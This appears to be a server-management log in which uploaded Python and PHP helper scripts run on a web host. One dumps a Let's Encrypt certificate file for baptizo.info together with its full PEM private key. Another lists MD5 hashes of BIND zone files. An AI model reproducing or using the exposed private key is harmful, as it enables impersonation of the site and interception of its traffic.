DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:19:44:
PUT: /tmp/pkp164430
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:19:44:
chmod 755 /tmp/pkp164430; /tmp/pkp164430; rm /tmp/pkp164430
2026-01-03 19:19:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt 5368
36:bb:aa:02:70:c4:8c:46:58:fa:7a:1b:64:2a:53:c9
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBVt6HzhaCRTuB2Nn6F46fQGxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI4MDUwMjA0WhcNMjYwMzI4MDUwMjAzWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDG
87IFN5sovfmQIQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nq
tRk4yuJBSex2jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHz
p+1GXVpp5ypRHPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Q
yi5uUYX1UyBnuPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOw
JwGjbBjYlMaEJ9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YL
fEmHDubNlW6Z07QrFSS5AgMBAAGjggIvMIICKzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFDtSliW9F8ANW35I7i9Sud6lhjbcMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTAuY3JsMIIBBQYKKwYBBAHWeQIEAgSB
9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGbY4tV
lgAABAMASDBGAiEA9jmXv86nNnPWvGybARcOz8LDPGYrHobFlV08ZOE2GzsCIQCm
npNwW3l5ECw2meuCYYc64RlT6U7qRLKXnOPfOOzmMAB2AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABm2OLVeIAAAQDAEcwRQIhAMvoWluaTObtoVy/
C0hzZwXcqzMXwXOg4HHUXOmxC6QqAiB7C+hPF+fPIyBtnnfu6JHYSEelayQAHvfR
gdV3wjh4GzANBgkqhkiG9w0BAQsFAAOCAQEAVaugpCT2XvdtgYQCy3yrPAc1Ghwd
cmFGIbr64BKWuXJaUTMZG1rthKzo4XARKbrGd6+URNsxhuAzykWDPdeUNCSikJaO
4reFzNxaynH7d3vjwEIovJ6eKD+RkfjqY9xrBWNYUQxBOSKeIutWWDIyj4UudYet
aUnhrF+7Wytx78tMx3kiIz5n6HEfcyuMrNAZfvZJSHgm9GX3oN53XBUlmD3xPmD/
yxPFVLkNferluFO2q6dI4Wi861bDKSw7rSL/3LifCc5YLK6ZGjy65TU5z7tFVxIe
GePf2YXQHVpKDm9txnXlONzhWJKevtBMNwioUh8qAPgXzA150AGlM8mk7g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDG87IFN5sovfmQ
IQ6sefQTLQczsqQpll5zRyGmfXbeWIwvTcl6ENq0DI5/AtNEQ7nqtRk4yuJBSex2
jXwV91hZVpdXbtMwmr45wKcwqOjfENke4qkKrMQUuxv4JBO6YTHzp+1GXVpp5ypR
HPQhSgRamIjnJoCDp4kfgK2dtg/420eZLyjX+/p4bav6lU6Erq4Qyi5uUYX1UyBn
uPS0h84wbs1fmxUk9pBkRcV016EYWIHgAmkDpc9WPa2JFRa/IsOwJwGjbBjYlMaE
J9ksUUq6xtmgpdUcNPDO/uu6aA/Ok9rftFnX1DYnwtz5lPbbr3YLfEmHDubNlW6Z
07QrFSS5AgMBAAECggEAKqifq/M1m3mKjJ8t8okOrtrpj6n2/azOkTi4DCccSQYi
/tSWxgvdnRwRJMYyDxHXiC4vG4iTFW04nN3u9JXN1ZAV0MtEUMhpT+BRaQNatVO7
Pl5a4R1UyN4q29y+dyj2iThhTcRgCdOldPF4njes8dEBj9CnXzNZ2U2hzG54g8L9
vKSltWCen0dYWlmVTUzNNreR4Xt4IKpKifgpePNx913smq5l+6GmpdLj+AyvGSWZ
xuuWu4TUPxR34A8nv15Et7NB2ZKeC/jHrtR0U3BDUVYsrvVsUigx9EvTxAowu9TV
QhwNIrBGo+bZgJX5kDXm3zuENY1DWfxSOf8EJIYlVQKBgQD1NG/REjGUyE6lbdyJ
x/Nd3JOxpBgjRkjoqveoU20TAW0qdasWYA6E/BFHJZ2esYcpnpyxDIG7/2531XVR
ZIQLNS60ip9U2U7EYGysk1ZXflRyz6w9cnSr9rXKGgyf5n2LzQeI4RPtC60H5NNu
SoVvlO/QSPhB4O/+ioPWYdKOTQKBgQDPtff9MGiN7HV5s0tdHxsCwD9P6gfNz4Tf
ujEbK9LZoPzRfXSYLhkBEHxrtdShLmhSKnIJGuyIswc2PROGeZ8pLP51NM9qA354
q9L7YA/a2GeGeMNHwjnswyg3IVpl9sBOUWXJE2Zs29c17qZElrr1msyqMTtXTszZ
EMdUwsYeHQKBgDmUzMVN/nKv7zgN6oI4gEAEcnJ+1GRENw7cRzgyDyUtapNT+o9Q
k1hLUUth2/fOPK1bX/R7uWOKgkiFyf0JG7D+Fi+zdeMY/NREyIBmQRpewjoL5qiv
XhKb5ujE4T4ThFv2E9Ti9ijuWv3FkJkPyvH/Canh2NqvlewyXu9THXzpAoGBALD+
SXwpVN6jAJOcsXp/d//HG+wX62B4FayjNxcFJ92krepBMio/FbVve+Y4giB6sBBb
9OJHXAk8LMgOEWZEmth2a7oqLxgSNCHVoKnteHUudEEFBLpQChXzUoBv3l0Gf2X9
PHO0IVJfnqppWqsVmeiRaRcZbox+LFZHUuOqOTINAoGAXAprnTTdMdC6m9BGfXJQ
gYvxTaR2ali/KVJSTx/G8Z7LDgp6hsXiQEdGFqaU3ZydCzyOfn4i4e/xNwnzmzDB
+1Ab+LVYSrdTfyfV8ImbYTrFqrOQIiuYGD4VSXRnDM/KWmXf0UYM2gATkvNZmtFT
9CgANuLJWF3OatgOF9z3EQU=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:19:44: Establishing a connection
2026-01-03 19:19:45:
PUT: /tmp/pkp484314
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:19:45:
runuser -l bind -s /bin/bash -c '/tmp/pkp484314; rm /tmp/pkp484314'
2026-01-03 19:19:45:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
